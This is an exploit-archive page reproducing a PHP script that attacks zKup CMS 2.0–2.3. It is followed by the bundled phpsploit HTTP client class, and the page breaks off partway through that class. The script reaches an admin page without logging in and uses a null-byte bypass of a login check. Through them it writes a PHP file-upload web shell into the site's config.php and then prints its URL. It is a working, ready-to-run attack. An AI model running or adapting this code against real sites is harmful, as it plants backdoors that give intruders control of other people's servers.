Lucene search
K

zKup CMS 2.0 <= 2.3 Remote Upload Exploit

🗓️ 09 Mar 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

zKup CMS v2.0 <= v2.3 Remote Upload Exploit by Charles F

Code

                                                #!/usr/bin/php
&lt;?php
/*
&nbsp;*&nbsp;Name:&nbsp;&nbsp;&nbsp;&nbsp;zKup&nbsp;CMS&nbsp;v2.0&nbsp;&lt;=&nbsp;v2.3&nbsp;0-day&nbsp;exploit&nbsp;(upload)
&nbsp;*&nbsp;Credits:&nbsp;Charles&nbsp;&quot;real&quot;&nbsp;F.&nbsp;&lt;charlesfol[at]hotmail.fr&gt;
&nbsp;*&nbsp;Date:&nbsp;&nbsp;&nbsp;&nbsp;03-08-2008
&nbsp;*&nbsp;Conditions:&nbsp;PHP&nbsp;Version
&nbsp;*
&nbsp;*&nbsp;This&nbsp;exploit&nbsp;spawn&nbsp;a&nbsp;php&nbsp;uploader&nbsp;in&nbsp;your&nbsp;victim's
&nbsp;*&nbsp;server.
&nbsp;*
&nbsp;*&nbsp;Okay,&nbsp;you&nbsp;may&nbsp;need&nbsp;explanations:
&nbsp;*
&nbsp;*&nbsp;First,&nbsp;we&nbsp;can&nbsp;use&nbsp;administration&nbsp;without&nbsp;being&nbsp;admin
&nbsp;*&nbsp;(see&nbsp;./admin/configuration/modifier.php)
&nbsp;*
&nbsp;*&nbsp;Then,&nbsp;when&nbsp;we&nbsp;add&nbsp;an&nbsp;admin,&nbsp;it&nbsp;is&nbsp;saved&nbsp;in&nbsp;a&nbsp;php&nbsp;file,
&nbsp;*&nbsp;named&nbsp;&quot;./fichiers/config.php&quot;.
&nbsp;*&nbsp;A&nbsp;vuln&nbsp;is&nbsp;present&nbsp;when&nbsp;the&nbsp;script&nbsp;controls&nbsp;$login&nbsp;value,
&nbsp;*&nbsp;because&nbsp;it&nbsp;use&nbsp;this&nbsp;regex:&nbsp;#^[a-zA-Z0-9]+$#
&nbsp;*&nbsp;in&nbsp;order&nbsp;to&nbsp;see&nbsp;if&nbsp;it's&nbsp;alphanumerical.
&nbsp;*&nbsp;I&nbsp;bypassed&nbsp;this&nbsp;regex&nbsp;using&nbsp;a&nbsp;NULL&nbsp;POISON&nbsp;BYTE&nbsp;(%00),
&nbsp;*&nbsp;and&nbsp;writing&nbsp;my&nbsp;upload&nbsp;script&nbsp;just&nbsp;after.
&nbsp;*&nbsp;I&nbsp;finally&nbsp;put&nbsp;some&nbsp;lines&nbsp;in&nbsp;order&nbsp;not&nbsp;to
&nbsp;*&nbsp;corrupt&nbsp;config.php.
&nbsp;*&nbsp;
&nbsp;*&nbsp;Thanks&nbsp;to&nbsp;darkfig,&nbsp;and&nbsp;his&nbsp;useful&nbsp;phpsploit&nbsp;class&nbsp;:)
&nbsp;*/

print&nbsp;&quot;\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;zKup&nbsp;CMS&nbsp;v2.0&nbsp;&lt;=&nbsp;v2.3&nbsp;0-day&nbsp;exploit&nbsp;(upload)\n&quot;;
print&nbsp;&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;by&nbsp;Charles&nbsp;\&quot;real\&quot;&nbsp;F.&nbsp;&lt;charlesfol[at]hotmail.fr&gt;\n\n&quot;;

if($argc&lt;2)&nbsp;{&nbsp;print&nbsp;&quot;usage:&nbsp;php&nbsp;zkup2_upload_exploit.php&nbsp;&lt;url&gt;\n&nbsp;&nbsp;&nbsp;eg:&nbsp;php&nbsp;zkup2_upload_exploit.php&nbsp;http://127.0.0.1/votresite/&quot;;exit(-1);&nbsp;}
$url&nbsp;=&nbsp;$argv[1];

$code&nbsp;=&nbsp;'
if(&nbsp;isset($_POST[\'upload\'])&nbsp;)
{
&nbsp;&nbsp;&nbsp;&nbsp;$tmp_file&nbsp;=&nbsp;$_FILES[\'file\'][\'tmp_name\'];
&nbsp;&nbsp;&nbsp;&nbsp;$name_file&nbsp;=&nbsp;$_FILES[\'file\'][\'name\'];
&nbsp;&nbsp;&nbsp;&nbsp;if(&nbsp;!move_uploaded_file($tmp_file,&nbsp;&quot;./&quot;.$name_file)&nbsp;)&nbsp;exit(&quot;&lt;center&nbsp;style=\&quot;color:red;\&quot;&gt;Error&nbsp;(move_uploaded_file)&lt;/center&gt;&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&quot;&lt;center&nbsp;style=\&quot;color:green;\&quot;&gt;File&nbsp;uploaded&lt;/center&gt;&quot;;
}
else&nbsp;if($_GET[\'up\']==1)
{
?&gt;
&lt;form&nbsp;method=&quot;post&quot;&nbsp;enctype=&quot;multipart/form-data&quot;&gt;
&lt;p&gt;
&lt;input&nbsp;type=&quot;file&quot;&nbsp;name=&quot;file&quot;&gt;
&lt;input&nbsp;type=&quot;submit&quot;&nbsp;name=&quot;upload&quot;&nbsp;value=&quot;Upload&quot;&gt;
&lt;/p&gt;
&lt;/form&gt;
&lt;?php
}
';
$code&nbsp;=&nbsp;urlencode($code);

/*&nbsp;Not&nbsp;to&nbsp;compromise&nbsp;config.php&nbsp;work&nbsp;*/
$restore&nbsp;=&nbsp;array();
$restore[0]&nbsp;=&nbsp;'admin'.rand(100,200).'%00&quot;,&quot;mdp&quot;=&gt;&quot;436ae61e82a236bd4771e184a556bf65&quot;,&quot;lvl&quot;=&gt;9);';
$restore[1]&nbsp;=&nbsp;'$tAdmin[]&nbsp;=&nbsp;array(&quot;login&quot;=&gt;&nbsp;&quot;admin'.rand(200,300);

$postit&nbsp;=&nbsp;&quot;action=ajout&amp;login=$restore[0]$code$restore[1]&amp;mdp=real&amp;mdp2=real&amp;lvl=9&quot;;

$xpl&nbsp;=&nbsp;new&nbsp;phpsploit();
$xpl-&gt;agent(&quot;Mozilla&nbsp;Firefox&quot;);

print&nbsp;&quot;[*]&nbsp;sending&nbsp;evil&nbsp;c0de&nbsp;...&nbsp;&quot;;
if(preg_match(&quot;#alert#i&quot;,$xpl-&gt;post($url.&quot;admin/configuration/modifier.php&quot;,&quot;$postit&quot;)))&nbsp;print&nbsp;&quot;done.\n[*]&nbsp;upload&nbsp;script:&nbsp;&quot;.$url.&quot;fichiers/config.php?up=1\n&quot;;
else&nbsp;print&nbsp;&quot;failed.\n&quot;;

/*
&nbsp;*&nbsp;phpsploit&nbsp;class&nbsp;was&nbsp;made&nbsp;by&nbsp;darkfig,&nbsp;thnks&nbsp;dude&nbsp;:)
&nbsp;*/
&nbsp;
/*
&nbsp;*&nbsp;
&nbsp;*&nbsp;Copyright&nbsp;(C)&nbsp;darkfig
&nbsp;*&nbsp;
&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;free&nbsp;software;&nbsp;you&nbsp;can&nbsp;redistribute&nbsp;it&nbsp;and/or&nbsp;
&nbsp;*&nbsp;modify&nbsp;it&nbsp;under&nbsp;the&nbsp;terms&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;
&nbsp;*&nbsp;as&nbsp;published&nbsp;by&nbsp;the&nbsp;Free&nbsp;Software&nbsp;Foundation;&nbsp;either&nbsp;version&nbsp;2&nbsp;
&nbsp;*&nbsp;of&nbsp;the&nbsp;License,&nbsp;or&nbsp;(at&nbsp;your&nbsp;option)&nbsp;any&nbsp;later&nbsp;version.&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;This&nbsp;program&nbsp;is&nbsp;distributed&nbsp;in&nbsp;the&nbsp;hope&nbsp;that&nbsp;it&nbsp;will&nbsp;be&nbsp;useful,&nbsp;
&nbsp;*&nbsp;but&nbsp;WITHOUT&nbsp;ANY&nbsp;WARRANTY;&nbsp;without&nbsp;even&nbsp;the&nbsp;implied&nbsp;warranty&nbsp;of&nbsp;
&nbsp;*&nbsp;MERCHANTABILITY&nbsp;or&nbsp;FITNESS&nbsp;FOR&nbsp;A&nbsp;PARTICULAR&nbsp;PURPOSE.&nbsp;&nbsp;See&nbsp;the&nbsp;
&nbsp;*&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;for&nbsp;more&nbsp;details.&nbsp;
&nbsp;*&nbsp;
&nbsp;*&nbsp;You&nbsp;should&nbsp;have&nbsp;received&nbsp;a&nbsp;copy&nbsp;of&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;
&nbsp;*&nbsp;along&nbsp;with&nbsp;this&nbsp;program;&nbsp;if&nbsp;not,&nbsp;write&nbsp;to&nbsp;the&nbsp;Free&nbsp;Software&nbsp;
&nbsp;*&nbsp;Foundation,&nbsp;Inc.,&nbsp;59&nbsp;Temple&nbsp;Place&nbsp;-&nbsp;Suite&nbsp;330,&nbsp;Boston,&nbsp;MA&nbsp;&nbsp;02111-1307,&nbsp;USA.
&nbsp;*&nbsp;
&nbsp;*&nbsp;TITLE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PhpSploit&nbsp;Class
&nbsp;*&nbsp;REQUIREMENTS:&nbsp;&nbsp;&nbsp;PHP&nbsp;5&nbsp;(remove&nbsp;&quot;private&quot;,&nbsp;&quot;public&quot;&nbsp;if&nbsp;you&nbsp;have&nbsp;PHP&nbsp;4)
&nbsp;*&nbsp;VERSION:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.2
&nbsp;*&nbsp;LICENSE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License
&nbsp;*&nbsp;ORIGINAL&nbsp;URL:&nbsp;&nbsp;&nbsp;http://www.acid-root.new.fr/tools/03061230.txt
&nbsp;*&nbsp;FILENAME:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;phpsploitclass.php
&nbsp;*
&nbsp;*&nbsp;CONTACT:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]&nbsp;(french&nbsp;/&nbsp;english)
&nbsp;*&nbsp;GREETZ:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sparah,&nbsp;Ddx39
&nbsp;*
&nbsp;*&nbsp;DESCRIPTION:
&nbsp;*&nbsp;The&nbsp;phpsploit&nbsp;is&nbsp;a&nbsp;class&nbsp;implementing&nbsp;a&nbsp;web&nbsp;user&nbsp;agent.
&nbsp;*&nbsp;You&nbsp;can&nbsp;add&nbsp;cookies,&nbsp;headers,&nbsp;use&nbsp;a&nbsp;proxy&nbsp;server&nbsp;with&nbsp;(or&nbsp;without)&nbsp;a
&nbsp;*&nbsp;basic&nbsp;authentification.&nbsp;It&nbsp;supports&nbsp;the&nbsp;GET&nbsp;and&nbsp;the&nbsp;POST&nbsp;method.&nbsp;It&nbsp;can
&nbsp;*&nbsp;also&nbsp;be&nbsp;used&nbsp;like&nbsp;a&nbsp;browser&nbsp;with&nbsp;the&nbsp;cookiejar()&nbsp;function&nbsp;(which&nbsp;allow
&nbsp;*&nbsp;a&nbsp;server&nbsp;to&nbsp;add&nbsp;several&nbsp;cookies&nbsp;for&nbsp;the&nbsp;next&nbsp;requests)&nbsp;and&nbsp;the
&nbsp;*&nbsp;allowredirection()&nbsp;function&nbsp;(which&nbsp;allow&nbsp;the&nbsp;script&nbsp;to&nbsp;follow&nbsp;all
&nbsp;*&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server).&nbsp;It&nbsp;can&nbsp;return&nbsp;the&nbsp;content&nbsp;(or&nbsp;the
&nbsp;*&nbsp;headers)&nbsp;of&nbsp;the&nbsp;request.&nbsp;Others&nbsp;useful&nbsp;functions&nbsp;can&nbsp;be&nbsp;used&nbsp;for&nbsp;debugging.
&nbsp;*&nbsp;A&nbsp;manual&nbsp;is&nbsp;actually&nbsp;in&nbsp;development&nbsp;but&nbsp;to&nbsp;know&nbsp;how&nbsp;to&nbsp;use&nbsp;it,&nbsp;you&nbsp;can
&nbsp;*&nbsp;read&nbsp;the&nbsp;comments.
&nbsp;*
&nbsp;*&nbsp;CHANGELOG:
&nbsp;*&nbsp;[2007-01-24]&nbsp;(1.2)
&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#2&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;getcookie()&nbsp;function&nbsp;((|;))
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;multipart/form-data&nbsp;enctype&nbsp;is&nbsp;now&nbsp;supported&nbsp;
&nbsp;*
&nbsp;*&nbsp;[2006-12-31]&nbsp;(1.1)
&nbsp;*&nbsp;&nbsp;*&nbsp;Bug&nbsp;#1&nbsp;fixed:&nbsp;Problem&nbsp;concerning&nbsp;the&nbsp;allowredirection()&nbsp;function&nbsp;(chr(13)&nbsp;bug)
&nbsp;*&nbsp;&nbsp;*&nbsp;New:&nbsp;You&nbsp;can&nbsp;now&nbsp;call&nbsp;the&nbsp;getheader()&nbsp;/&nbsp;getcontent()&nbsp;function&nbsp;without&nbsp;parameters
&nbsp;*
&nbsp;*&nbsp;[2006-12-30]&nbsp;(1.0)
&nbsp;*&nbsp;&nbsp;*&nbsp;First&nbsp;version
&nbsp;*&nbsp;
&nbsp;*/

class&nbsp;phpsploit&nbsp;{

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it,&nbsp;this&nbsp;is&nbsp;the&nbsp;main&nbsp;function.
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	private&nbsp;function&nbsp;sock()
	{
		if(!empty($this-&gt;proxyhost)&nbsp;&amp;&amp;&nbsp;!empty($this-&gt;proxyport))&nbsp;$socket&nbsp;=&nbsp;fsockopen($this-&gt;proxyhost,$this-&gt;proxyport);
		else&nbsp;$socket&nbsp;=&nbsp;fsockopen($this-&gt;host,$this-&gt;port);
		
		if(!$socket)&nbsp;die(&quot;Error:&nbsp;The&nbsp;host&nbsp;doesn't&nbsp;exist&quot;);
		
		if($this-&gt;method===&quot;get&quot;)&nbsp;$this-&gt;packet&nbsp;=&nbsp;&quot;GET&nbsp;&quot;.$this-&gt;url.&quot;&nbsp;HTTP/1.1\r\n&quot;;
		elseif($this-&gt;method===&quot;post&quot;&nbsp;or&nbsp;$this-&gt;method===&quot;formdata&quot;)&nbsp;$this-&gt;packet&nbsp;=&nbsp;&quot;POST&nbsp;&quot;.$this-&gt;url.&nbsp;&quot;&nbsp;HTTP/1.1\r\n&quot;;
		else&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;method&quot;);
		
		if(!empty($this-&gt;proxyuser))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;Proxy-Authorization:&nbsp;Basic&nbsp;&quot;.base64_encode($this-&gt;proxyuser.&quot;:&quot;.$this-&gt;proxypass).&quot;\r\n&quot;;
		$this-&gt;packet&nbsp;.=&nbsp;&quot;Host:&nbsp;&quot;.$this-&gt;host.&quot;\r\n&quot;;
		
		if(!empty($this-&gt;agent))&nbsp;&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;User-Agent:&nbsp;&quot;.$this-&gt;agent.&quot;\r\n&quot;;
		if(!empty($this-&gt;header))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;header.&quot;\r\n&quot;;
		if(!empty($this-&gt;cookie))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;Cookie:&nbsp;&quot;.$this-&gt;cookie.&quot;\r\n&quot;;
		
		$this-&gt;packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n&quot;;
		if($this-&gt;method===&quot;post&quot;)
		{
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;data.&quot;\r\n&quot;;
		}
		elseif($this-&gt;method===&quot;formdata&quot;)
		{
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------&quot;.$this-&gt;boundary.&quot;\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;data;
		}
		$this-&gt;packet&nbsp;.=&nbsp;&quot;\r\n&quot;;
		$this-&gt;recv&nbsp;=&nbsp;'';
		
		fputs($socket,$this-&gt;packet);
		while(!feof($socket))&nbsp;$this-&gt;recv&nbsp;.=&nbsp;fgets($socket);
		fclose($socket);
		
		if($this-&gt;cookiejar)&nbsp;$this-&gt;cookiejar($this-&gt;getheader($this-&gt;recv));
		if($this-&gt;allowredirection)&nbsp;return&nbsp;$this-&gt;allowredirection($this-&gt;recv);
		else&nbsp;return&nbsp;$this-&gt;recv;
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;cookie&nbsp;in&nbsp;the
	&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;name&quot;,&quot;value&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;name=newvalue&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;othername=overvalue;&nbsp;xx=zz;&nbsp;y=u&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookiename
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookievalue
	&nbsp;*&nbsp;
	&nbsp;*/
	public&nbsp;function&nbsp;addcookie($cookn,$cookv='')
	{
		//&nbsp;$this-&gt;addcookie(&quot;name&quot;,&quot;value&quot;);&nbsp;work&nbsp;avec&nbsp;replace
		if(!empty($cookv))
		{
			if($cookv&nbsp;===&nbsp;&quot;deleted&quot;)&nbsp;$cookv='';&nbsp;//&nbsp;cookiejar(1)&nbsp;&amp;&amp;&nbsp;Set-Cookie:&nbsp;name=delete
			if(!empty($this-&gt;cookie))
			{
			&nbsp;&nbsp;&nbsp;&nbsp;if(preg_match(&quot;/$cookn=/&quot;,$this-&gt;cookie))
			&nbsp;&nbsp;&nbsp;&nbsp;{
			&nbsp;&nbsp;&nbsp;&nbsp;	$this-&gt;cookie&nbsp;=&nbsp;preg_replace(&quot;/$cookn=(\S*);/&quot;,&quot;$cookn=$cookv;&quot;,$this-&gt;cookie);
			&nbsp;&nbsp;&nbsp;&nbsp;}
			&nbsp;&nbsp;&nbsp;&nbsp;else
			&nbsp;&nbsp;&nbsp;&nbsp;{
			&nbsp;&nbsp;&nbsp;&nbsp;	$this-&gt;cookie&nbsp;.=&nbsp;&quot;&nbsp;&quot;.$cookn.&quot;=&quot;.$cookv.&quot;;&quot;;&nbsp;//&nbsp;&quot;&nbsp;&quot;.
			&nbsp;&nbsp;&nbsp;&nbsp;}
			}
			else
			{
				$this-&gt;cookie&nbsp;=&nbsp;$cookn.&quot;=&quot;.$cookv.&quot;;&quot;;
			}
		}
		//&nbsp;$this-&gt;addcookie(&quot;name=value;&nbsp;othername=othervalue&quot;);
		else
		{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;if(!empty($this-&gt;cookie))
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	$cookn&nbsp;=&nbsp;preg_replace(&quot;/(.*);$/&quot;,&quot;$1&quot;,$cookn);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	$cookarr&nbsp;=&nbsp;explode(&quot;;&quot;,str_replace(&quot;&nbsp;&quot;,&nbsp;&quot;&quot;,$cookn));
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	for($i=0;$i&lt;count($cookarr);$i++)
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		preg_match(&quot;/(\S*)=(\S*)/&quot;,$cookarr[$i],$matches);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$cookn&nbsp;=&nbsp;$matches[1];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$cookv&nbsp;=&nbsp;$matches[2];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$this-&gt;addcookie($cookn,$cookv);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	}
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;}
			&nbsp;else
			&nbsp;{
			&nbsp;	$cookn&nbsp;=&nbsp;((substr($cookn,(strlen($cookn)-1),1))===&quot;;&quot;)&nbsp;?&nbsp;$cookn&nbsp;:&nbsp;$cookn.&quot;;&quot;;
			&nbsp;	$this-&gt;cookie&nbsp;=&nbsp;$cookn;			
			&nbsp;}
		}
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;headers&nbsp;in&nbsp;the
	&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;headername&quot;,&quot;headervalue&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;headername:&nbsp;headervalue&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headername
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headervalue
	&nbsp;*/
	public&nbsp;function&nbsp;addheader($headern,$headervalue='')
	{
		//&nbsp;$this-&gt;addheader(&quot;name&quot;,&quot;value&quot;);
		if(!empty($headervalue))
		{
			if(!empty($this-&gt;header))
			{
				if(preg_match(&quot;/$headern:/&quot;,$this-&gt;header))
				{
					$this-&gt;header&nbsp;=&nbsp;preg_replace(&quot;/$headern:&nbsp;(\S*)/&quot;,&quot;$headern:&nbsp;$headervalue&quot;,$this-&gt;header);
				}
				else
				{
					$this-&gt;header&nbsp;.=&nbsp;&quot;\r\n&quot;.$headern.&quot;:&nbsp;&quot;.$headervalue;
				}
			}
			else
			{
				$this-&gt;header=$headern.&quot;:&nbsp;&quot;.$headervalue;
			}
		}
		//&nbsp;$this-&gt;addheader(&quot;name:&nbsp;value&quot;);
		else&nbsp;
		{
			if(!empty($this-&gt;header))
			{
				$headarr&nbsp;=&nbsp;explode(&quot;:&nbsp;&quot;,$headern);
				$headern&nbsp;=&nbsp;$headarr[0];
				$headerv&nbsp;=&nbsp;$headarr[1];
				$this-&gt;addheader($headern,$headerv);
			}
			else
			{
				$this-&gt;header=$headern;
			}
		}
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server.
	&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;proxy(&quot;proxyip&quot;,&quot;8118&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;proxy(&quot;proxyip:8118&quot;)
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyhost
	&nbsp;*&nbsp;@param&nbsp;integer&nbsp;$proxyport
	&nbsp;*/
	public&nbsp;function&nbsp;proxy($proxy,$proxyp='')
	{
		//&nbsp;$this-&gt;proxy(&quot;localhost:8118&quot;);
		if(empty($proxyp))
		{
			preg_match(&quot;/^(\S*):(\d+)$/&quot;,$proxy,$proxarr);
			$proxh&nbsp;=&nbsp;$proxarr[1];
			$proxp&nbsp;=&nbsp;$proxarr[2];
			$this-&gt;proxyhost=$proxh;
			$this-&gt;proxyport=$proxp;
		}
		//&nbsp;$this-&gt;proxy(&quot;localhost&quot;,8118);
		else&nbsp;
		{
			$this-&gt;proxyhost=$proxy;
			$this-&gt;proxyport=intval($proxyp);
		}
		if($this-&gt;proxyport&nbsp;&gt;&nbsp;65535)&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server
	&nbsp;*&nbsp;which&nbsp;requires&nbsp;a&nbsp;basic&nbsp;authentification.&nbsp;Several
	&nbsp;*&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;proxyauth(&quot;darkfig&quot;,&quot;dapasswd&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;proxyauth(&quot;darkfig:dapasswd&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyuser
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxypass
	&nbsp;*/
	public&nbsp;function&nbsp;proxyauth($proxyauth,$proxypasse='')
	{
		//&nbsp;$this-&gt;proxyauth(&quot;darkfig:password&quot;);
		if(empty($proxypasse))
		{
			preg_match(&quot;/^(.*):(.*)$/&quot;,$proxyauth,$proxautharr);
			$proxu&nbsp;=&nbsp;$proxautharr[1];
			$proxp&nbsp;=&nbsp;$proxautharr[2];
			$this-&gt;proxyuser=$proxu;
			$this-&gt;proxypass=$proxp;
		}
		//&nbsp;$this-&gt;proxyauth(&quot;darkfig&quot;,&quot;password&quot;);
		else
		{
			$this-&gt;proxyuser=$proxyauth;
			$this-&gt;proxypass=$proxypasse;
		}
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;set&nbsp;the&nbsp;&quot;User-Agent&quot;&nbsp;header.
	&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;possible&nbsp;to&nbsp;do&nbsp;that:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;agent(&quot;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;User-Agent:&nbsp;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;User-Agent&quot;,&quot;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$useragent
	&nbsp;*/
	public&nbsp;function&nbsp;agent($useragent)
	{
		$this-&gt;agent=$useragent;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;header&nbsp;which&nbsp;will&nbsp;be
	&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showheader();
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$header
	&nbsp;*/
	public&nbsp;function&nbsp;showheader()
	{
		return&nbsp;$this-&gt;header;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;cookie&nbsp;which&nbsp;will&nbsp;be
	&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showcookie();
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$storedcookies
	&nbsp;*/
	public&nbsp;function&nbsp;showcookie()
	{
		return&nbsp;$this-&gt;cookie;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;last&nbsp;formed
	&nbsp;*&nbsp;http&nbsp;request&nbsp;(the&nbsp;http&nbsp;packet).
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showlastrequest();
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@return&nbsp;$last_http_request
	&nbsp;*/
	public&nbsp;function&nbsp;showlastrequest()
	{
		return&nbsp;$this-&gt;packet;
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;GET&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;get(&quot;http://localhost&quot;);
	&nbsp;*&nbsp;$this-&gt;get(&quot;http://localhost:888/xd/tst.php&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	public&nbsp;function&nbsp;get($url)
	{
		$this-&gt;target($url);
		$this-&gt;method=&quot;get&quot;;
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
